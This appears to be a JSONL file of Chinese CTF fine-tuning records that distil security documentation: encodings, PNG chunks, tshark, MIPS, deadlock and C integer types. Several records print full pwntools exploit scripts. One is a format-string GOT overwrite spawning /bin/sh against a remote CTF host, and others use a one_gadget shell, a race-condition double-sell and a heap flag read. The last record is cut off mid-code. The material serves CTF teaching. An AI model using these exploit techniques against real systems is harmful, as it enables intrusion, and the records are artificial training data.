{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f89bda8bdfdc92c97977", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/encode/computer.md` 中的章节「XXencoding」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/encode/computer.md`\n标题：计算机相关的编码\n章节：coding=utf-8 > XXencoding\n路径分类：misc / misc/encode/computer.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“XXencoding”展开。\n- ``text 1 2 3 4 5 6 0123456789012345678901234567890123456789012345678901234567890123 | | | | | | | +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz `` 具体信息参见维基百科\n- 这三个字节共有 24 个 Bit，以 6bit 为单位分为 4 个组，每个组以十进制来表示所出现的数值只会落在 0 到 63 之间。\n- XXencode 将输入文本以每三个字节为单位进行编码。\n- 如果最后剩下的资料少于三个字节，不够的部份用零补齐。\n\n关键术语：\n- misc\n- encode\n- computer.md\n- code:text\n\n代码/命令片段线索：\n- text: 4 行，首行 `1 2 3 4 5 6`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 362, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "XXencoding", "heading_path": ["coding=utf-8", "XXencoding"], "original_id": "docs-17edf761b2acfab5e79b", "original_line": 565, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "source_root": "docs", "source_sha256": "baabe4939cf3b76b8c4c33d2e990aedcd12c11970037a1431f7bea48d9711909", "split": "train", "split_group_key": "b6c9d1ac0124e1ea368652ab", "subcategory": "misc/encode/computer.md", "terms": ["misc", "encode", "computer.md", "code:text"], "title": "计算机相关的编码"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f9b0c4338ee490ef9540", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/png.md` 中的章节「数据块CHUNk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/png.md`\n标题：PNG\n章节：PNG > 文件格式 > 数据块CHUNk\n路径分类：misc / misc/picture/png.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“数据块CHUNk”展开。\n- PNG 定义了两种类型的数据块，一种是称为关键数据块（critical chunk），这是标准的数据块，另一种叫做辅助数据块（ancillary chunks），这是可选的数据块。\n- 关键数据块定义了 4 个标准数据块，每个 PNG 文件都必须包含它们，PNG 读写软件也都必须要支持这些数据块。\n\n关键术语：\n- misc\n- picture\n- png.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1492, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "数据块CHUNk", "heading_path": ["PNG", "文件格式", "数据块CHUNk"], "original_id": "docs-0ff57028c93c906bea2d", "original_line": 584, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "source_root": "docs", "source_sha256": "43950f569096175f2c56da46c5d09dece4a19b71604f5ff4c9662280fa9187ec", "split": "train", "split_group_key": "46870ad29a825d17a46c547e", "subcategory": "misc/picture/png.md", "terms": ["misc", "picture", "png.md"], "title": "PNG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fa3aa4c60dbcab947acb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/data.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/data.md`\n标题：数据提取\n章节：数据提取 > tshark > 例题\n路径分类：misc / misc/traffic/data.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- > 题目：google-ctf-2016 : a-cute-stegosaurus-100 这题的数据隐藏的非常巧妙,而且有一张图片混淆视听,需要对tcp协议非常熟悉,所以当时做出来的人并不多,全球只有 26 支队伍 在tcp报文段中有6Bit的状态控制码,分别如下 - URG：紧急比特（urgent）,当URG＝1时，表明紧急指针字段有效,代表该封包为紧急封包。\n- 它告诉系统此报文段中有紧急数据，应尽快传送(相当于高优先级的数据) - ACK：确认比特（Acknowledge）。\n- RST：复位比特(Reset) ,当RST＝1时，表明TCP连接中出现严重差错（如由于主机崩溃或其他原因），必须释放连接，然后再重新建立运输连接。\n- SYN：同步比特(Synchronous)，SYN置为1，就表示这是一个连接请求或连接接受报文,通常带有 SYN 标志的封包表示『主动』要连接到对方的意思。\n- PSH：（Push function）若为1时，代表要求对方立即传送缓冲区内的其他对应封包，而无需等缓冲满了才送。\n\n关键术语：\n- 密码学\n- misc\n- traffic\n- data.md\n- code:shell\n\n代码/命令片段线索：\n- plain: 6 行，首行 `⚡ root@kali: tshark -r Stego-200_urg.pcap -T fields -e tcp.urgent_pointer|egrep -vi \"^0$\"|tr '\\n' ','`\n- shell: 20 行，首行 `➜ Desktop file ears`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 2142, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["数据提取", "tshark", "例题"], "original_id": "docs-3d7cd6497dff606cf4ba", "original_line": 592, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "source_root": "docs", "source_sha256": "1a96b9cf486f762a88e189b11b96da62d0a31eb956ca792e9e074841dbe37a25", "split": "train", "split_group_key": "b86986cc12ef696990e97f21", "subcategory": "misc/traffic/data.md", "terms": ["密码学", "misc", "traffic", "data.md", "code:shell"], "title": "数据提取"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fd247b165f9b4b025656", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`\n标题：Race Condition\n章节：给管道传输数据 > 死锁 > 概述\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- P2 拥有资源 R1、还需要额外资源 R2 才能运行，两边都在互相等待而没有任何一个可运行。\n- 下图所示，P1、P2 两个进程都需要资源才能继续运行。\n- P1 拥有资源 R2、还需要额外资源 R1 才能运行；\n- 其实，死锁主要是因为在冲突的执行流中，出现了循环等待的执行流，即循环等待中的每一个执行流都获得一个资源，同时试图获得下一个资源。\n- [图片文件: ./figure/process_deadlock.png] 一般来说，死锁有以下四个必要条件 - 互斥，资源是互斥的。\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- race-condition\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 511, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "概述", "heading_path": ["给管道传输数据", "死锁", "概述"], "original_id": "docs-010a1c4d7aa8743ddb0f", "original_line": 1224, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "source_root": "docs", "source_sha256": "338b696bd1c811ec5c9a103ccde2a5b1d14a90b4555ffeaf1644b779b73f85fe", "split": "train", "split_group_key": "a6ecb29a35a0018c7617f69e", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "race-condition"], "title": "Race Condition"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fe0d85759b541a347c29", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/mips/readme.md` 中的章节「0x2 指令 Instruction」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/mips/readme.md`\n标题：MIPS\n章节：MIPS > 0x2 指令 Instruction\n路径分类：assembly / assembly/mips/readme.md\n分块：3/4\n\n核心知识点：\n- 本节主题围绕“0x2 指令 Instruction”展开。\n- | | Syntax: | sllv $d, $t, $s | | Encoding: | 0000 00ss ssst tttt dddd d--- --00 0100 | SLT -- Set on less than (signed) | Description: | If $s is less than $t, $d is set to one.\n- | | Syntax: | slt $d, $s, $t | | Encoding: | 0000 00ss ssst tttt dddd d000 0010 1010 | SLTI -- Set on less than immediate (signed) | Description: | If $s is less than immediate, $t is set to one.\n- | Bitwise logical ors two registers and stores the result in a register | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $s \\| $t;\n- | | Syntax: | sb $t, offset($s) | | Encoding: | 1010 00ss ssst tttt iiii iiii iiii iiii | SLL -- Shift left logical | Description: | Shifts a register value left by the shift amount listed in the instruction and places the result in a third register.\n- Zeroes are shifted in. | | ------------ | ------------------------------------------------------------ | | Operation: | $d = $t << h;\n\n关键术语：\n- assembly\n- mips\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 5189, "chunk_count": 4, "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "heading": "0x2 指令 Instruction", "heading_path": ["MIPS", "0x2 指令 Instruction"], "original_id": "docs-6c1cff7aad1df04cb07b", "original_line": 109, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/mips/readme.md", "source_root": "docs", "source_sha256": "3dd6ae5d2f440b8e4d60e6eb8581577f322de326fc0478d8a8ad1a466879f9a7", "split": "train", "split_group_key": "f24507ac33f6ec4f9e12c09f", "subcategory": "assembly/mips/readme.md", "terms": ["assembly", "mips", "readme.md"], "title": "MIPS"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/mips/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-001b022b014d77965256", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「泄露栈变量的值」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 泄露栈变量的值\n\n获取栈中被视为第 `n+1` 个参数的值：`%n$x`（`%n$p`）\n\n我们可以通过漏洞泄露栈上的`canary`和`libc`地址。\n\n亦或者在开启`PIE`保护的情况下泄露程序地址。\n\n注意：`%x` 其实只是 `%d` 的 16 进制输出，对应的是 32 位也就是 4 字节；在 64 位操作系统下，只会截取后 32 位；`%p`和系统位数关联没有问题，因此建议用 `%p`", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-4f2b54fc563ccce0", "original_line": 490, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-00c2374cf306cfb5e7f0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/2024ylb-fmt/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/2024ylb-fmt/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n关键常量/偏移样例：\n`0x120`, `0xe3b01`, `0xe3b04`, `0x024083`, `0x4010b0`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc=ELF(\"./libc-2.31.so\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\npayload=b\"%13$p%15$p\".ljust(0x28,b\"a\")+p64(0x4010b0)\ns(payload)\nru(\"welcome to YLCTF\\n\")\nlibc.address=int(r(14),16)-0x024083\nstack=int(r(14),16)-0x120\n\nlg(\"base:\",libc.address)\nlg(\"stack:\",stack)\n\ngetshell=libc.address+0xe3b01\n\"\"\"\n0xe3b04 execve(\"/bin/sh\", rsi, rdx)\nconstraints:\n  [rsi] == NULL || rsi == NULL || rsi is a valid argv\n  [rdx] == NULL || rdx == NULL || rdx is a valid envp\n\"\"\"\npayload=b\"a\"*0x28+p64(getshell)\n\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-code-8465fcb20292248e", "original_line": 452, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/2024ylb-fmt/exp.py", "split": "train", "split_group_key": "56232843f5a6e5b3875ff9df"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/2024ylb-fmt/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-056e42be544fa63c0123", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「=============================」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# =============================\none_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][2]\nexit_hook  = ld_base + 0x2ef70\n\ninfo(\"one_gadget: \" + hex(one_gadget))\ninfo(\"exit hook: \" + hex(exit_hook))", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-3a87ed8c1c6404ab", "original_line": 488, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-069f4d1a1031431f8004", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n> [NISACTF 2022]shop_pwn\n\n+ 分析\n\n运行程序，发现是一个物品购买界面。我们首先输入 1 来查看一下。\n\n[图片: image]\n\n可以看到我们有一只笔，并且还有 100 元钱。\n\n[图片: image]\n\n程序中存储着 flag，并且架构为 200 元，数量为 100。我们卖了笔之后的钱仍然是 100，不足购买 flag。\n\n分析卖函数，如果`bags`全局变量即我们的物品不为空则创建线程执行`to_sale`函数。跟进分析`to_sale`函数。\n\n[图片: image]\n\n可以看到`to_sale`中首先将`bags`中的对应物品清零，然后加了`money`全局变量，即我们的钱。并且函数中是没有做条件竞争防范的。所以我们可以尝试利用条件竞争漏洞。\n\n[图片: image]\n\n通过条件竞争漏洞将我们有的笔卖两次，然后我们的钱就足够买 flag 了。\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\n#卖第1次\nsl(b'3')\nsl(b'0')\n#卖第2次\nsl(b'3')\nsl(b'0')\n\n#购买flag\nsla(b'> ', b'2')\nsla(b'> ', b'1')\nr()\n\n#查看物品\nsla(b'> ', b'1')\nr()\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-f86168ba18c04e56", "original_line": 481, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-0746868501d243b0ec58", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n- `get_sb`\n\n关键常量/偏移样例：\n`0xffff`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python2\nfrom pwn import *\n\ndef get_sb():\n    return libc.sym['system'], next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('axb_2019_fmt64')\n#io = process([elf.path])\nio=remote(\"node5.buuoj.cn\",25147)\nlibc = ELF(\"/buu/64/libc-2.23.so\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\noff=8\npayload = b\"%9$saaaa\"+p64(elf.got.puts)\nr()\ns(payload)\nputs_addr=l64()\nlibc.address = puts_addr - libc.sym['puts']\nlg('puts', puts_addr)\nsystem,sh=get_sb()\nlg('system', system)\nlg('sh', sh)\nstrlen=libc.sym['strlen']\nlg(\"strlen\",strlen)\nhigh_sys = (system >> 16) & 0xff\nlow_sys = system & 0xffff\npayload = \"%\" + str(high_sys - 9) + \"c%12$hhn\" + \"%\" + str(low_sys - high_sys) + \"c%13$hn\"\nprint(payload)\npayload = payload.ljust(32,\"A\") + p64(strlen + 2) + p64(strlen)\nru(\"Please tell me:\")\ns(payload)\nr()\ns(\";/bin/sh\\x00\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-code-c851f039b60a8ad1", "original_line": 458, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/exp.py", "split": "train", "split_group_key": "94bfd3d72af005cccb05a2e4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-126e0276461f6881c86a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/2025qwb-flag-market/bin/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/2025qwb-flag-market/bin/exp.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n关键常量/偏移样例：\n`0x1e0`, `0x19bde2a0`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('chall')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nsla(b\"1.take my money\", \"1\")\nsla(b\"how much you want to pay?\", \"255\")\nsla(b\"please report:\", b\"r\" + b\"\\x00\" * 0xff + b\"pap%9$ppad%13$s\")\ndbg()\nsa(b\"1.take my money\", b\"1\")\nsa(b\"how much you want to pay?\",b\"1\")\n\nru(b\"pap\")\nleak = int(ru(b\"pad\")[:-3].decode(), 16)\nlg(\"leak\", leak)\n\n# flag 在堆上的地址 0x19bde2a0+0x1e0\ntarget = leak + 0x1e0\nsa(b\"1.take my money\", b\"1\\x00\")\nsla(b\"how much you want to pay?\",b\"1\" + b\"\\x00\" * 7 + p64(target))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-8f0285ee0f09064a", "original_line": 40, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2025qwb-flag-market/bin/exp.py", "split": "train", "split_group_key": "886d76ec427c5fcf23101223"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2025qwb-flag-market/bin/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1cb8c21e8766e0962fe7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「简介」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 简介\n\n在 C 语言中，整数的基本数据类型包括 `short`、`int`、`long` 和 `char`，每种数据类型都可以是有符号（signed）或无符号（unsigned）。这些数据类型在内存中占用的大小和它们表示的值的范围是不同的。\n\n在 《C和指针》 一书中，将`char`型也归类为整数类型，严格来说确实如此。虽然它通常用来表示字符，但从 C 语言的角度来看，`char` 实际上是整数类型的一种。其默认大小为 1 字节（8 位），而且它的值范围依赖于是否是有符号类型。`char`型之所以被视为字符型，仅仅是因为它使用 ASCII 码值来表示字符，但是它也可以作为整型使用。\n\n| 类型                 | 字节          | 范围                                                   |\n| -------------------- | ------------- | ------------------------------------------------------ |\n| `char`               | 1byte (byte)  | `-128 ~ 127`（有符号）                                 |\n| `unsigned char`      | 1byte (byte)  | `0 ~ 255`（无符号）                                    |\n| `short int`          | 2byte (word)  | `-32768 ~ 32767`（有符号）                             |\n| `unsigned short int` | 2byte (word)  | `0 ~ 65535`（无符号）                                  |\n| `int`                | 4byte (dword) | `-2147483648 ~ 2147483647`（有符号）                   |\n| `unsigned int`       | 4byte (dword) | `0 ~ 4294967295`（无符号）                             |\n| `long int`           | 8byte (qword) | `-9223372036854775808 ~ 9223372036854775807`（有符号） |\n| `unsigned long int`  | 8byte (qword) | `0 ~ 18446744073709551615`（无符号）                   |\n\n\n众所周知，两位十六进制数表示一个字节，正如上表中所示，`char` 类型占用一个字节，因此使用两位十六进制数表示。\n\n我们可以通过以下 C 语言示例代码来查看不同数据类型的宽度。这段代码将有符号数和无符号数的最大值赋值给几个变量。并输出整型变量的十六进制形式和十进制形式。\n\n+ 示例代码\n\n```c\n#include \n\nvoid main() {\n\n    char sa = 0x7f;\n    short sb = 0x7fff;\n    int sc = 0x7fffffff;\n    long sd = 0x7fffffffffffffff;\n\n    unsigned char ua = 0xff;\n    unsigned short ub = 0xffff;\n    unsigned int uc = 0xffffffff;\n    unsigned long ud = 0xffffffffffffffff;\n\n    printf(\"signed   char  0x%x  : %d\\n\", sa, sa);\n    printf(\"signed   short 0x%x  : %d\\n\", sb, sb);\n    printf(\"signed   int   0x%x  : %d\\n\", sc, sc);\n    printf(\"signed   long  0x%lx : 